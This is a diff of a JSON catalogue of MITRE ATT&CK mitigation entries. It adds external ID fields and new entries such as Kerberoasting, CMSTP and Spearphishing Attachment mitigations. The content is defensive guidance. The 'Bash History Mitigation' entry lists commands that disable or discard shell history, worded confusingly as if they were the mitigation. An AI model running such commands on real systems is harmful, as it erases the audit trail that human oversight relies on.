"description": "Clean up SID-History attributes after legitimate account migration is complete.\n\nApply SID Filtering to domain trusts to exclude SID-History from requests to access domain resources (netdom trust /domain: /quarantine:yes (Citation: Microsoft Netdom Trust Sept 2012) on the domain controller). Domain SID Filtering is disabled by default.\n\nApply SID Filtering to forest trusts to exclude SID-History from request to access forest resources (netdom trust /domain: /EnableSIDHistory:no (Citation: Microsoft Netdom Trust Sept 2012) on the domain controller). Forest SID Filtering is active by default, but may block child domains from transitively accessesing the forest trust.\n\nEnsure SID Filter Quarantining is enabled on trusted external domains (netdom trust /domain: /quarantine (Citation: Microsoft Netdom Trust Sept 2012) on the domain controller) to ensure authentication requests only include SIDs from that domain. SID Filter Quarantining is automatically enabled on all created external trusts using Server 2003 or later domain controllers. (Citation: Microsoft Trust Considerations Nov 2014) (Citation: Microsoft SID) Filtering Quarantining Jan 2009",
"value": "SID-History Injection Mitigation - T1178",
- "uuid": "b91c2f9e-c1a0-44df-95f0-9e7c9d1d5e55"
+ "uuid": "b91c2f9e-c1a0-44df-95f0-9e7c9d1d5e55",
+ "meta": {
+ "external_id": "T1178"
+ }
},
{
"description": "Since StartupItems are deprecated, preventing all users from writing to the /Library/StartupItems directory would prevent any startup items from getting registered. Similarly, appropriate permissions should be applied such that only specific users can edit the startup items so that they can’t be leveraged for privilege escalation.",
"value": "Startup Items Mitigation - T1165",
- "uuid": "94927849-03e3-4a07-8f4c-9ee21b626719"
+ "uuid": "94927849-03e3-4a07-8f4c-9ee21b626719",
+ "meta": {
+ "external_id": "T1165"
+ }
},
{
"description": "Mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior. Audit and/or block potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
"value": "Execution through API Mitigation - T1106",
- "uuid": "56db6ccc-433d-4411-8383-c3fd7053e2c8"
+ "uuid": "56db6ccc-433d-4411-8383-c3fd7053e2c8",
+ "meta": {
+ "external_id": "T1106"
+ }
},
{
- "description": "Protect shared folders by minimizing users who have write access. Use utilities that detect or mitigate common features used in exploitation, such as the Microsoft Enhanced Mitigation Experience Toolkit (EMET).\n\nIdentify potentially malicious software that may be used to taint content or may result from it and audit and/or block the unknown programs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
+ "description": "Protect shared folders by minimizing users who have write access. Use utilities that detect or mitigate common features used in exploitation, such as the Microsoft Enhanced Mitigation Experience Toolkit (EMET).\n\nReduce potential lateral movement risk by using web-based document management and collaboration services that do not use network file and directory sharing.\n\nIdentify potentially malicious software that may be used to taint content or may result from it and audit and/or block the unknown programs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
"value": "Taint Shared Content Mitigation - T1080",
- "uuid": "f0a42cad-9b1f-44da-a672-718f18381018"
+ "uuid": "f0a42cad-9b1f-44da-a672-718f18381018",
+ "meta": {
+ "external_id": "T1080"
+ }
},
{
"description": "Identify and block potentially malicious software that may be used as a remote access tool, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and will be different across various malware families and versions. Adversaries will likely change tool signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
"value": "Redundant Access Mitigation - T1108",
- "uuid": "f9b3e5d9-7454-4b7d-bce6-27620e19924e"
+ "uuid": "f9b3e5d9-7454-4b7d-bce6-27620e19924e",
+ "meta": {
+ "external_id": "T1108"
+ }
},
{
"description": "If it is possible to inspect HTTPS traffic, the captures can be analyzed for connections that appear to be Domain Fronting.\n\nIn order to use domain fronting, attackers will likely need to deploy additional tools to compromised systems. (Citation: FireEye APT29 Domain Fronting With TOR March 2017) (Citation: Mandiant No Easy Breach) It may be possible to detect or prevent the installation of these tools with Host-based solutions.",
"value": "Domain Fronting Mitigation - T1172",
- "uuid": "62ae52c9-7197-4f5b-be1d-10d2e1df2c96"
+ "uuid": "62ae52c9-7197-4f5b-be1d-10d2e1df2c96",
+ "meta": {
+ "external_id": "T1172"
+ }
+ },
+ {
+ "description": "Network intrusion prevention systems and systems designed to scan and remove malicious email attachments can be used to block activity. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\n\nBlock unknown or unused attachments by default that should not be transmitted over email as a best practice to prevent some vectors, such as .scr, .exe, .pif, .cpl, etc. Some email scanning devices can open and analyze compressed and encrypted formats, such as zip and rar that may be used to conceal malicious attachments in Obfuscated Files or Information.\n\nBecause this technique involves user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails. To prevent the attachments from executing, application whitelisting can be used. Anti-virus can also automatically quarantine suspicious files.",
+ "value": "Spearphishing Attachment Mitigation - T1193",
+ "uuid": "8f6b5ca6-263a-4ea9-98f3-afd2a3cd8119",
+ "meta": {
+ "external_id": "T1193"
+ }
},
{
"description": "Mitigating this technique specifically may be difficult as it requires fine-grained API control. Efforts should be focused on preventing unwanted or unknown code from executing on a system.\n\nIdentify and block potentially malicious software that may be used to record audio by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
"value": "Audio Capture Mitigation - T1123",
- "uuid": "16dd03c6-0dfb-4d77-89cd-9ff3ee6e533d"
+ "uuid": "16dd03c6-0dfb-4d77-89cd-9ff3ee6e533d",
+ "meta": {
+ "external_id": "T1123"
+ }
},
{
"description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create new services.\n\nIdentify and block unnecessary system utilities or potentially malicious software that may be used to create services by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
"value": "New Service Mitigation - T1050",
- "uuid": "b7b2c89c-09c1-4b71-ae7c-000ec2893aab"
+ "uuid": "b7b2c89c-09c1-4b71-ae7c-000ec2893aab",
+ "meta": {
+ "external_id": "T1050"
+ }
},
{
- "description": "Turn off unused features or restrict access to scripting engines such as VBScript or scriptable administration frameworks such as PowerShell.",
+ "description": "CMSTP.exe may not be necessary within a given environment (unless using it for VPN connection installation). Consider using application whitelisting configured to block execution of CMSTP.exe if it is not required for a given system or network to prevent potential misuse by adversaries. (Citation: MSitPros CMSTP Aug 2017)",
+ "value": "CMSTP Mitigation - T1191",
+ "uuid": "91816292-3686-4a6e-83c4-4c08513b9b57",
+ "meta": {
+ "external_id": "T1191"
+ }
+ },
+ {
+ "description": "Turn off unused features or restrict access to scripting engines such as VBScript or scriptable administration frameworks such as PowerShell.\n\nConfigure Office security settings enable Protected View, to execute within a sandbox environment, and to block macros through Group Policy. (Citation: Microsoft Block Office Macros) Other types of virtualization and application microsegmentation may also mitigate the impact of compromise. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)",
"value": "Scripting Mitigation - T1064",
- "uuid": "57019a80-8523-46b6-be7d-f763a15a2cc6"
+ "uuid": "57019a80-8523-46b6-be7d-f763a15a2cc6",
+ "meta": {
+ "external_id": "T1064"
+ }
},
{
"description": "Prevent plist files from being modified by users by making them read-only.",
"value": "Plist Modification Mitigation - T1150",
- "uuid": "2d704e56-e689-4011-b989-bf4e025a8727"
+ "uuid": "2d704e56-e689-4011-b989-bf4e025a8727",
+ "meta": {
+ "external_id": "T1150"
+ }
},
{
"description": "Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block methods of using rundll32.exe to bypass whitelisting. (Citation: Secure Host Baseline EMET)",
"value": "Rundll32 Mitigation - T1085",
- "uuid": "8c918d8a-11c5-4ffd-af10-e74bc06bdfae"
+ "uuid": "8c918d8a-11c5-4ffd-af10-e74bc06bdfae",
+ "meta": {
+ "external_id": "T1085"
+ }
+ },
+ {
+ "description": "Do not store credentials within the Registry. Proactively search for credentials within Registry keys and attempt to remediate the risk. If necessary software must store credentials, then ensure those accounts have limited permissions so they cannot be abused if obtained by an adversary.",
+ "value": "Credentials in Registry Mitigation - T1214",
+ "uuid": "4490fee2-5c70-4db3-8db5-8d88767dbd55",
+ "meta": {
+ "external_id": "T1214"
+ }
},
{
"description": "Traffic to known anonymity networks and C2 infrastructure can be blocked through the use of network black and white lists. It should be noted that this kind of blocking may be circumvented by other techniques like Domain Fronting.",
"value": "Multi-hop Proxy Mitigation - T1188",
- "uuid": "752db800-ea54-4e7a-b4c1-2a0292350ea7"
+ "uuid": "752db800-ea54-4e7a-b4c1-2a0292350ea7",
+ "meta": {
+ "external_id": "T1188"
+ }
},
{
"description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
"value": "Fallback Channels Mitigation - T1008",
- "uuid": "515f6584-fa98-44fe-a4e8-e428c7188514"
+ "uuid": "515f6584-fa98-44fe-a4e8-e428c7188514",
+ "meta": {
+ "external_id": "T1008"
+ }
+ },
+ {
+ "description": "Browser sandboxes can be used to mitigate some of the impact of exploitation, but sandbox escapes may still exist. (Citation: Windows Blogs Microsoft Edge Sandbox) (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nOther types of virtualization and application microsegmentation may also mitigate the impact of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nSecurity applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility.",
+ "value": "Exploitation for Client Execution Mitigation - T1203",
+ "uuid": "f2dcee22-c275-405e-87fd-48630a19dfba",
+ "meta": {
+ "external_id": "T1203"
+ }
},
{
"description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about services, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
"value": "System Service Discovery Mitigation - T1007",
- "uuid": "d8787791-d22e-45bb-a9a8-251d8d0a1ff2"
+ "uuid": "d8787791-d22e-45bb-a9a8-251d8d0a1ff2",
+ "meta": {
+ "external_id": "T1007"
+ }
},
{
"description": "Automatically forward events to a log server or data repository to prevent conditions in which the adversary can locate and manipulate data on the local system. When possible, minimize time delay on event reporting to avoid prolonged storage on the local system. Protect generated event files that are stored locally with proper permissions and authentication. Obfuscate/encrypt event files locally and in transit to avoid giving feedback to an adversary.",
"value": "Indicator Removal on Host Mitigation - T1070",
- "uuid": "6cac62ce-550b-4793-8ee6-6a1b8836edb0"
+ "uuid": "6cac62ce-550b-4793-8ee6-6a1b8836edb0",
+ "meta": {
+ "external_id": "T1070"
+ }
},
{
"description": "Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.\n\nIdentify and block potentially malicious software that may be executed through service abuse by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.",
"value": "Service Registry Permissions Weakness Mitigation - T1058",
- "uuid": "9378f139-10ef-4e4b-b679-2255a0818902"
+ "uuid": "9378f139-10ef-4e4b-b679-2255a0818902",
+ "meta": {
+ "external_id": "T1058"
+ }
+ },
+ {
+ "description": "Ensure strong password length (ideally 25+ characters) and complexity for service accounts and that these passwords periodically expire. (Citation: AdSecurity Cracking Kerberos Dec 2015) Also consider using Group Managed Service Accounts or another third party product such as password vaulting. (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nLimit service accounts to minimal required privileges, including membership in privileged groups such as Domain Administrators. (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nEnable AES Kerberos encryption (or another stronger encryption algorithm), rather than RC4, where possible. (Citation: AdSecurity Cracking Kerberos Dec 2015)",
+ "value": "Kerberoasting Mitigation - T1208",
+ "uuid": "a3e12b04-8598-4909-8855-2c97c1e7d549",
+ "meta": {
+ "external_id": "T1208"
+ }
},
{
"description": "Mitigation of timestomping specifically is likely difficult. Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to perform timestomping by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
"value": "Timestomp Mitigation - T1099",
- "uuid": "5c167af7-c2cb-42c8-ae67-3fb275bf8488"
+ "uuid": "5c167af7-c2cb-42c8-ae67-3fb275bf8488",
+ "meta": {
+ "external_id": "T1099"
+ }
},
{
"description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about a system's network configuration, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
"value": "System Network Configuration Discovery Mitigation - T1016",
- "uuid": "684feec3-f9ba-4049-9d8f-52d52f3e0e40"
+ "uuid": "684feec3-f9ba-4049-9d8f-52d52f3e0e40",
+ "meta": {
+ "external_id": "T1016"
+ }
},
{
"description": "Directly mitigating module loads and API calls related to module loads will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying and correlated subsequent behavior to determine if it is the result of malicious activity.",
"value": "Execution through Module Load Mitigation - T1129",
- "uuid": "cfd2cd3b-93e7-4b3e-ab46-f8bcafdbdfcf"
+ "uuid": "cfd2cd3b-93e7-4b3e-ab46-f8bcafdbdfcf",
+ "meta": {
+ "external_id": "T1129"
+ }
},
{
"description": "Networks that allow for open development and testing of Web content and allow users to set up their own Web servers on the enterprise network may be particularly vulnerable if the systems and Web servers are not properly secured to limit privileged account use, unauthenticated network share access, and network/system isolation.\n\nEnsure proper permissions on directories that are accessible through a Web server. Disallow remote access to the webroot or other directories used to serve Web content. Disable execution on directories within the webroot. Ensure that permissions of the Web server process are only what is required by not using built-in accounts; instead, create specific accounts to limit unnecessary access or permissions overlap across multiple systems.",
"value": "Shared Webroot Mitigation - T1051",
- "uuid": "43b366a4-b5ff-4d4e-8a3b-f09a9d2faff5"
+ "uuid": "43b366a4-b5ff-4d4e-8a3b-f09a9d2faff5",
+ "meta": {
+ "external_id": "T1051"
+ }
},
{
- "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create scheduled tasks. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for permission weaknesses in scheduled tasks that could be used to escalate privileges. (Citation: Powersploit)\n\nConfigure settings for scheduled tasks to force tasks to run under the context of the authenticated account instead of allowing them to run as SYSTEM. The associated Registry key is located at HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\SubmitControl. The setting can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > Security Options: Domain Controller: Allow server operators to schedule tasks, set to disabled. (Citation: TechNet Server Operator Scheduled Task)\n\nConfigure the Increase Scheduling Priority option to only allow the Administrators group the rights to schedule a priority process. This can be can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Increase scheduling priority. (Citation: TechNet Scheduling Priority)\n\nIdentify and block unnecessary system utilities or potentially malicious software that may be used to schedule tasks using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
+ "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create scheduled tasks on remote systems. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for permission weaknesses in scheduled tasks that could be used to escalate privileges. (Citation: Powersploit)\n\nConfigure settings for scheduled tasks to force tasks to run under the context of the authenticated account instead of allowing them to run as SYSTEM. The associated Registry key is located at HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\SubmitControl. The setting can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > Security Options: Domain Controller: Allow server operators to schedule tasks, set to disabled. (Citation: TechNet Server Operator Scheduled Task)\n\nConfigure the Increase Scheduling Priority option to only allow the Administrators group the rights to schedule a priority process. This can be can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Increase scheduling priority. (Citation: TechNet Scheduling Priority)\n\nIdentify and block unnecessary system utilities or potentially malicious software that may be used to schedule tasks using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
"value": "Scheduled Task Mitigation - T1053",
- "uuid": "f2cb6ce2-188d-4162-8feb-594f949b13dd"
+ "uuid": "f2cb6ce2-188d-4162-8feb-594f949b13dd",
+ "meta": {
+ "external_id": "T1053"
+ }
},
{
"description": "Identify potentially malicious software that may be executed from a padded or otherwise obfuscated binary, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
"value": "Binary Padding Mitigation - T1009",
- "uuid": "16a8ac85-a06f-460f-ad22-910167bd7332"
+ "uuid": "16a8ac85-a06f-460f-ad22-910167bd7332",
+ "meta": {
+ "external_id": "T1009"
+ }
},
{
"description": "Ensure that all wireless traffic is encrypted appropriately. Use Kerberos, SSL, and multifactor authentication wherever possible. Monitor switches and network for span port usage, ARP/DNS poisoning, and router reconfiguration.\n\nIdentify and block potentially malicious software that may be used to sniff or analyze network traffic by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
"value": "Network Sniffing Mitigation - T1040",
- "uuid": "46b7ef91-4e1d-43c5-a2eb-00fa9444f6f4"
+ "uuid": "46b7ef91-4e1d-43c5-a2eb-00fa9444f6f4",
+ "meta": {
+ "external_id": "T1040"
+ }
},
{
"description": "Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to encrypt files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
"value": "Data Encrypted Mitigation - T1022",
- "uuid": "2a8de25c-f743-4348-b101-3ee33ab5871b"
+ "uuid": "2a8de25c-f743-4348-b101-3ee33ab5871b",
+ "meta": {
+ "external_id": "T1022"
+ }
},
{
"description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often. (Citation: University of Birmingham C2)",
"value": "Standard Cryptographic Protocol Mitigation - T1032",
- "uuid": "a766ce73-5583-48f3-b7c0-0bb43c6ef8c7"
+ "uuid": "a766ce73-5583-48f3-b7c0-0bb43c6ef8c7",
+ "meta": {
+ "external_id": "T1032"
+ }
},
{
"description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often. (Citation: University of Birmingham C2)",
"value": "Multilayer Encryption Mitigation - T1079",
- "uuid": "24478001-2eb3-4b06-a02e-96b3d61d27ec"
+ "uuid": "24478001-2eb3-4b06-a02e-96b3d61d27ec",
+ "meta": {
+ "external_id": "T1079"
+ }
},
{
"description": "When creating security rules, avoid exclusions based on file name or file path. Require signed binaries. Use file system access controls to protect folders such as C:\\Windows\\System32. Use tools that restrict program execution via whitelisting by attributes other than file name.\n\nIdentify potentially malicious software that may look like a legitimate program based on name and location, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
"value": "Masquerading Mitigation - T1036",
- "uuid": "45e7f570-6a0b-4095-bf02-4bca05da6bae"
+ "uuid": "45e7f570-6a0b-4095-bf02-4bca05da6bae",
+ "meta": {
+ "external_id": "T1036"
+ }
},
{
"description": "Identify potentially malicious software that may be used to access logical drives in this manner, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
"value": "File System Logical Offsets Mitigation - T1006",
- "uuid": "902286b2-96cc-4dd7-931f-e7340c9961da"
+ "uuid": "902286b2-96cc-4dd7-931f-e7340c9961da",
+ "meta": {
+ "external_id": "T1006"
+ }
},
{
"description": "Limit the number of accounts that may use remote services. Use multifactor authentication where possible. Limit the permissions for accounts that are at higher risk of compromise; for example, configure SSH so users can only run specific programs. Prevent Credential Access techniques that may allow an adversary to acquire Valid Accounts that can be used by existing services.",
"value": "Remote Services Mitigation - T1021",
- "uuid": "979e6485-7a2f-42bd-ae96-4e622c3cd173"
+ "uuid": "979e6485-7a2f-42bd-ae96-4e622c3cd173",
+ "meta": {
+ "external_id": "T1021"
+ }
},
{
"description": "Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to delete files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
"value": "File Deletion Mitigation - T1107",
- "uuid": "34efb2fd-4dc2-40d4-a564-0c147c85034d"
+ "uuid": "34efb2fd-4dc2-40d4-a564-0c147c85034d",
+ "meta": {
+ "external_id": "T1107"
+ }
},
{
"description": "Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to compress files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nIf network intrusion prevention or data loss prevention tools are set to block specific file types from leaving the network over unencrypted channels, then an adversary may move to an encrypted channel.",
"value": "Data Compressed Mitigation - T1002",
- "uuid": "28adf6fd-ab6c-4553-9aa7-cef18a191f33"
+ "uuid": "28adf6fd-ab6c-4553-9aa7-cef18a191f33",
+ "meta": {
+ "external_id": "T1002"
+ }
},
{
"description": "Require that all AppleScript be signed by a trusted developer ID before being executed - this will prevent random AppleScript code from executing.",
"value": "AppleScript Mitigation - T1155",
- "uuid": "1e4ef2c7-ee96-4484-9baa-3b5777561301"
+ "uuid": "1e4ef2c7-ee96-4484-9baa-3b5777561301",
+ "meta": {
+ "external_id": "T1155"
+ }
},
{
"description": "Mshta.exe may not be necessary within a given environment since its functionality is tied to older versions of Internet Explorer which have reached end of life. Use application whitelisting configured to block execution of mshta.exe if it is not required for a given system or network to prevent potential misuse by adversaries.",
"value": "Mshta Mitigation - T1170",
- "uuid": "d2dce10b-3562-4d61-b2f5-7c6384b038e2"
+ "uuid": "d2dce10b-3562-4d61-b2f5-7c6384b038e2",
+ "meta": {
+ "external_id": "T1170"
+ }
},
{
"description": "Windows 8.1, Windows Server 2012 R2, and later versions, may make LSA run as a Protected Process Light (PPL) by setting the Registry key HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\RunAsPPL, which requires all DLLs loaded by LSA to be signed by Microsoft. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)",
"value": "Authentication Package Mitigation - T1131",
- "uuid": "943d370b-2054-44df-8be2-ab4139bde1c5"
+ "uuid": "943d370b-2054-44df-8be2-ab4139bde1c5",
+ "meta": {
+ "external_id": "T1131"
+ }
+ },
+ {
+ "description": "Certain signed binaries that can be used to execute other programs may not be necessary within a given environment. Use application whitelisting configured to block execution of these scripts if they are not required for a given system or network to prevent potential misuse by adversaries.",
+ "value": "Signed Binary Proxy Execution Mitigation - T1218",
+ "uuid": "28c0f30c-32c3-4c6c-a474-74820e55854f",
+ "meta": {
+ "external_id": "T1218"
+ }
},
{
"description": "There are multiple methods of preventing a user's command history from being flushed to their .bash_history file, including use of the following commands:\nset +o history and set -o history to start logging again;\nunset HISTFILE being added to a user's .bash_rc file; and\nln -s /dev/null ~/.bash_history to write commands to /dev/nullinstead.",
"value": "Bash History Mitigation - T1139",
- "uuid": "ace4daee-f914-4707-be75-843f16da2edf"
+ "uuid": "ace4daee-f914-4707-be75-843f16da2edf",
+ "meta": {
+ "external_id": "T1139"
+ }
},
{
"description": "Identify and block potentially malicious software that may persist in this manner by using whitelisting (Citation: Beechey 2010) tools capable of monitoring DLL loads by processes running under SYSTEM permissions.",
"value": "Port Monitors Mitigation - T1013",
- "uuid": "1c6bc7f3-d517-4971-aed4-8f939090846b"
+ "uuid": "1c6bc7f3-d517-4971-aed4-8f939090846b",
+ "meta": {
+ "external_id": "T1013"
+ }
},
{
"description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating all IFEO will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. (Citation: Microsoft IFEOorMalware July 2015) Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.\n\nIdentify and block potentially malicious software that may be executed through IFEO by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown executables.",
"value": "Image File Execution Options Injection Mitigation - T1183",
- "uuid": "33f76731-b840-446f-bee0-53687dad24d9"
+ "uuid": "33f76731-b840-446f-bee0-53687dad24d9",
+ "meta": {
+ "external_id": "T1183"
+ }
+ },
+ {
+ "description": "Use user training as a way to bring awareness to common phishing and spearphishing techniques and how to raise suspicion for potentially malicious events. Application whitelisting may be able to prevent the running of executables masquerading as other files.\n\nIf a link is being visited by a user, block unknown or unused files in transit by default that should not be downloaded or by policy from suspicious sites as a best practice to prevent some vectors, such as .scr, .exe, .pif, .cpl, etc. Some download scanning devices can open and analyze compressed and encrypted formats, such as zip and rar that may be used to conceal malicious files in Obfuscated Files or Information.\n\nIf a link is being visited by a user, network intrusion prevention systems and systems designed to scan and remove malicious downloads can be used to block activity. Solutions can be signature and behavior based, but adversaries may construct files in a way to avoid these systems.",
+ "value": "User Execution Mitigation - T1204",
+ "uuid": "548bf7ad-e19c-4d74-84bf-84ac4e57f505",
+ "meta": {
+ "external_id": "T1204"
+ }
},
{
"description": "Enforce that all binaries be signed by the correct Apple Developer IDs, and whitelist applications via known hashes. Binaries can also be baselined for what dynamic libraries they require, and if an app requires a new dynamic library that wasn’t included as part of an update, it should be investigated.",
"value": "LC_LOAD_DYLIB Addition Mitigation - T1161",
- "uuid": "77fd4d73-6b79-4593-82e7-e4a439cc7604"
+ "uuid": "77fd4d73-6b79-4593-82e7-e4a439cc7604",
+ "meta": {
+ "external_id": "T1161"
+ }
},
{
"description": "Since browser pivoting requires a high integrity process to launch from, restricting user permissions and addressing Privilege Escalation and Bypass User Account Control opportunities can limit the exposure to this technique. \n\nClose all browser sessions regularly and when they are no longer needed.",
"value": "Man in the Browser Mitigation - T1185",
- "uuid": "94f6b4f5-b528-4f50-91d5-f66457c2f8f7"
+ "uuid": "94f6b4f5-b528-4f50-91d5-f66457c2f8f7",
+ "meta": {
+ "external_id": "T1185"
+ }
},
{
"description": "Block .scr files from being executed from non-standard locations. Set Group Policy to force users to have a dedicated screensaver where local changes should not override the settings to prevent changes. Use Group Policy to disable screensavers if they are unnecessary. (Citation: TechNet Screensaver GP)",
"value": "Screensaver Mitigation - T1180",
- "uuid": "9da16278-c6c5-4410-8a6b-9c16ce8005b3"
+ "uuid": "9da16278-c6c5-4410-8a6b-9c16ce8005b3",
+ "meta": {
+ "external_id": "T1180"
+ }
},
{
